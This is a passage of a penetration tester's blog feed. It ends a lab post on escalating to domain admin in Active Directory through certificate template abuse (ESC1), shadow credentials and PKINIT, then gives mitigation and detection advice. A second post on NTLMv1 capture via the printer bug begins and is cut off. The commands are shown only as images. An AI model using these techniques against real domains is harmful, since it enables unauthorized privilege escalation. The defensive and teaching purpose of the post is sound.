escalation vector corresponds to ESC1 in the white paper.) The previous process for requesting a TGT using PKINIT can be repeated to obtain a TGT for REDANIA\Administrator, but this time pass in the certificate issued by the CA in the arguments:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bkkz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F096691f0-9319-4698-93c6-369989532020_780x262.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bkkz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F096691f0-9319-4698-93c6-369989532020_780x262.png 424w, https://substackcdn.com/image/fetch/$s_!bkkz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F096691f0-9319-4698-93c6-369989532020_780x262.png 848w, https://substackcdn.com/image/fetch/$s_!bkkz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F096691f0-9319-4698-93c6-369989532020_780x262.png 1272w, https://substackcdn.com/image/fetch/$s_!bkkz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F096691f0-9319-4698-93c6-369989532020_780x262.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bkkz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F096691f0-9319-4698-93c6-369989532020_780x262.png" width="780" height="262" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/096691f0-9319-4698-93c6-369989532020_780x262.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:262,&quot;width&quot;:780,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bkkz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F096691f0-9319-4698-93c6-369989532020_780x262.png 424w, https://substackcdn.com/image/fetch/$s_!bkkz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F096691f0-9319-4698-93c6-369989532020_780x262.png 848w, https://substackcdn.com/image/fetch/$s_!bkkz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F096691f0-9319-4698-93c6-369989532020_780x262.png 1272w, https://substackcdn.com/image/fetch/$s_!bkkz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F096691f0-9319-4698-93c6-369989532020_780x262.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>I will verify the validity of the TGT by opening a wmiexec shell on one of the lab DCs as REDANIA\Administrator:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tqWp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F505b5204-941b-4c97-b7e2-a3cc61396a84_758x378.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tqWp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F505b5204-941b-4c97-b7e2-a3cc61396a84_758x378.png 424w, https://substackcdn.com/image/fetch/$s_!tqWp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F505b5204-941b-4c97-b7e2-a3cc61396a84_758x378.png 848w, https://substackcdn.com/image/fetch/$s_!tqWp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F505b5204-941b-4c97-b7e2-a3cc61396a84_758x378.png 1272w, https://substackcdn.com/image/fetch/$s_!tqWp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F505b5204-941b-4c97-b7e2-a3cc61396a84_758x378.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tqWp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F505b5204-941b-4c97-b7e2-a3cc61396a84_758x378.png" width="758" height="378" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/505b5204-941b-4c97-b7e2-a3cc61396a84_758x378.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:378,&quot;width&quot;:758,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!tqWp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F505b5204-941b-4c97-b7e2-a3cc61396a84_758x378.png 424w, https://substackcdn.com/image/fetch/$s_!tqWp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F505b5204-941b-4c97-b7e2-a3cc61396a84_758x378.png 848w, https://substackcdn.com/image/fetch/$s_!tqWp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F505b5204-941b-4c97-b7e2-a3cc61396a84_758x378.png 1272w, https://substackcdn.com/image/fetch/$s_!tqWp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F505b5204-941b-4c97-b7e2-a3cc61396a84_758x378.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Success! We&#8217;ve found a way to obtain domain admin rights using multiple PKINIT based exploitation methods. Most of these concepts and tools have only been recently published (at least publicly) and after gaining familiarity with them, I believe they will be strong tactics in the offensive arsenal moving forward.</p><h2>Cleaning Up the Shadow Credentials</h2><p>The last important note is that the KeyCredential we set with PyWhisker can be safely be removed using the <em>remove</em> action in conjunction with the DeviceID corresponding to the KeyCredential we generated. After removal, we can verify it no longer exists with the <em>list</em> action.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5TYv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff31ec8ab-e00d-4909-9f66-ee622e253f3b_816x382.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5TYv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff31ec8ab-e00d-4909-9f66-ee622e253f3b_816x382.png 424w, https://substackcdn.com/image/fetch/$s_!5TYv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff31ec8ab-e00d-4909-9f66-ee622e253f3b_816x382.png 848w, https://substackcdn.com/image/fetch/$s_!5TYv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff31ec8ab-e00d-4909-9f66-ee622e253f3b_816x382.png 1272w, https://substackcdn.com/image/fetch/$s_!5TYv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff31ec8ab-e00d-4909-9f66-ee622e253f3b_816x382.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5TYv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff31ec8ab-e00d-4909-9f66-ee622e253f3b_816x382.png" width="816" height="382" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f31ec8ab-e00d-4909-9f66-ee622e253f3b_816x382.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:382,&quot;width&quot;:816,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!5TYv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff31ec8ab-e00d-4909-9f66-ee622e253f3b_816x382.png 424w, https://substackcdn.com/image/fetch/$s_!5TYv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff31ec8ab-e00d-4909-9f66-ee622e253f3b_816x382.png 848w, https://substackcdn.com/image/fetch/$s_!5TYv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff31ec8ab-e00d-4909-9f66-ee622e253f3b_816x382.png 1272w, https://substackcdn.com/image/fetch/$s_!5TYv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff31ec8ab-e00d-4909-9f66-ee622e253f3b_816x382.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Mitigation and Detection Strategies</h2><p>Several high-level strategies that could be used to remediate or alert on activity performed in the described scenario are below.</p><p>ADCS:</p><ul><li><p>Removal of the ENROLLEE_SUPPLIES_SUBJECT flag will prevent certificates from being obtained as any domain account.</p></li><li><p>If the ENROLLEE_SUPPLIES_SUBJECT flag cannot be removed, requiring certificate manager approval before a certificate is issued will help mitigate the risk posed by the presence of the flag.</p></li><li><p>Restrict enrollment rights to only users and groups that absolutely require access.Monitor certificate enrollments (event ID 4886) &#8211; Important to note here that the event logs do not contain all data related to the certificate, such as the SAN.</p></li></ul><p>Shadow Credentials:</p><ul><li><p>Perform attack pathfinding using BloodHound and remove unneeded ACL abuse avenues, specifically GenericAll, WriteOwner and WriteDACL relationships.</p></li><li><p>Monitor for Kerberos TGTs requested(event ID 4768) using PKINIT authentication, if the behavior is not standard for the network environment or account.</p></li><li><p>Monitor for AD object modifications (event ID 5136) where the attribute being modified is msDS-KeyCredentialLink.</p></li></ul><h2>References</h2><ul><li><p>https://specterops.io/assets/resources/Certified_Pre-Owned.pdf</p></li><li><p>https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab</p></li><li><p>https://www.thehacker.recipes/ad-ds/movement/kerberos/shadow-credentials</p></li><li><p>https://twitter.com/_nwodtuhs/status/1422304102915182593</p></li><li><p>https://github.com/GhostPack/Certify</p></li><li><p>https://github.com/eladshamir/Whisker</p></li><li><p>https://github.com/ShutdownRepo/pywhisker</p></li><li><p>https://github.com/GhostPack/Rubeus</p></li><li><p>https://github.com/dirkjanm/PKINITtools</p></li><li><p>https://github.com/eloypgz/certi</p></li><li><p>https://github.com/BloodHoundAD</p></li></ul>]]></content:encoded></item><item><title><![CDATA[Elevating with NTLMv1 and the Printer Bug]]></title><description><![CDATA[Introduction]]></description><link>https://blog.tw1sm.io/p/elevating-with-ntlmv1-and-the-printer</link><guid isPermaLink="false">https://blog.tw1sm.io/p/elevating-with-ntlmv1-and-the-printer</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Wed, 09 Jun 2021 16:00:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!nALH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c04cd52-deaa-4c18-b011-c2939acb7555_997x391.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h4>Introduction</h4><p>On multiple penetration test engagements in the last few months, I have encountered what I previously thought to be a rather rare attack vector: the usage of the printer bug to trigger and capture NTLMv1 (Net-NTLMv1) authentication from a Windows Active Directory Domain Controller. As a penetration tester, the misconfigurations this attack relies on what will be out of your control. However, if successful, this attack lets you elevate to Domain Administrator from any set of compromised domain credentials.</p><p>As this is not a new attack vector (you can find another great guide to this attack <a href="https://web.archive.org/web/20250710084132/https://github.com/NotMedic/NetNTLMtoSilverTicket">here</a>), this post will serve to demonstrate the attack while also documenting how to remediate the vulnerability though Group Policy.</p><h4>Attack Environment Setup</h4><p>For the attack to be successful, there are (4) requirements:</p><ol><li><p>Any valid domain account credentials</p></li></ol><ol start="2"><li><p>Network connectivity to the targets SMB (Server Message Block) Service.</p></li></ol><ol start="3"><li><p>The target host must be running the <em>Print Spooler</em> service</p></li></ol><ol start="4"><li><p>The target host must be allowed to send NTLMv1 responses (cannot be set to enforce NTLMv2 responses)</p></li></ol><p>The first two requirements are a low barrier for most penetration tests. The last two will simply depend on the current network environment. Permitting NTLMv1 authentication is an insecure policy that might be encountered elsewhere on a penetration test (LLMNR and NBT-NS poisoning attacks), but it&#8217;s particularly impactful if it can be leveraged in conjunction with the printer bug.</p><p>In my lab setup, I will be working with credentials for <em>WINDOMAIN.LOCAL\lowprivuser</em> and targeting the host <em>DC.WINDOMAIN.LOCAL</em>. To verify the Print Spooler is running on the target, <em>DC.WINDOMAIN.LOCAL</em>, I will check <em>services.msc</em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OP5l!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F171f4a77-0bad-44b2-850a-3024cd02bef2_997x254.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OP5l!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F171f4a77-0bad-44b2-850a-3024cd02bef2_997x254.png 424w, https://substackcdn.com/image/fetch/$s_!OP5l!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F171f4a77-0bad-44b2-850a-3024cd02bef2_997x254.png 848w, https://substackcdn.com/image/fetch/$s_!OP5l!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F171f4a77-0bad-44b2-850a-3024cd02bef2_997x254.png 1272w, https://substackcdn.com/image/fetch/$s_!OP5l!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F171f4a77-0bad-44b2-850a-3024cd02bef2_997x254.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OP5l!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F171f4a77-0bad-44b2-850a-3024cd02bef2_997x254.png" width="997" height="254" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/171f4a77-0bad-44b2-850a-3024cd02bef2_997x254.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:254,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!OP5l!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F171f4a77-0bad-44b2-850a-3024cd02bef2_997x254.png 424w, https://substackcdn.com/image/fetch/$s_!OP5l!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F171f4a77-0bad-44b2-850a-3024cd02bef2_997x254.png 848w, https://substackcdn.com/image/fetch/$s_!OP5l!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F171f4a77-0bad-44b2-850a-3024cd02bef2_997x254.png 1272w, https://substackcdn.com/image/fetch/$s_!OP5l!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F171f4a77-0bad-44b2-850a-3024cd02bef2_997x254.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This can also be done via the command line using <em>sc query</em>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!65yf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf4ed4ec-b4da-4799-8209-c7a2d0218139_733x252.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!65yf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf4ed4ec-b4da-4799-8209-c7a2d0218139_733x252.png 424w, https://substackcdn.com/image/fetch/$s_!65yf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf4ed4ec-b4da-4799-8209-c7a2d0218139_733x252.png 848w, https://substackcdn.com/image/fetch/$s_!65yf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf4ed4ec-b4da-4799-8209-c7a2d0218139_733x252.png 1272w, https://substackcdn.com/image/fetch/$s_!65yf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf4ed4ec-b4da-4799-8209-c7a2d0218139_733x252.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!65yf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf4ed4ec-b4da-4799-8209-c7a2d0218139_733x252.png" width="733" height="252" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/af4ed4ec-b4da-4799-8209-c7a2d0218139_733x252.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:252,&quot;width&quot;:733,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!65yf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf4ed4ec-b4da-4799-8209-c7a2d0218139_733x252.png 424w, https://substackcdn.com/image/fetch/$s_!65yf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf4ed4ec-b4da-4799-8209-c7a2d0218139_733x252.png 848w, https://substackcdn.com/image/fetch/$s_!65yf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf4ed4ec-b4da-4799-8209-c7a2d0218139_733x252.png 1272w, https://substackcdn.com/image/fetch/$s_!65yf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf4ed4ec-b4da-4799-8209-c7a2d0218139_733x252.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" 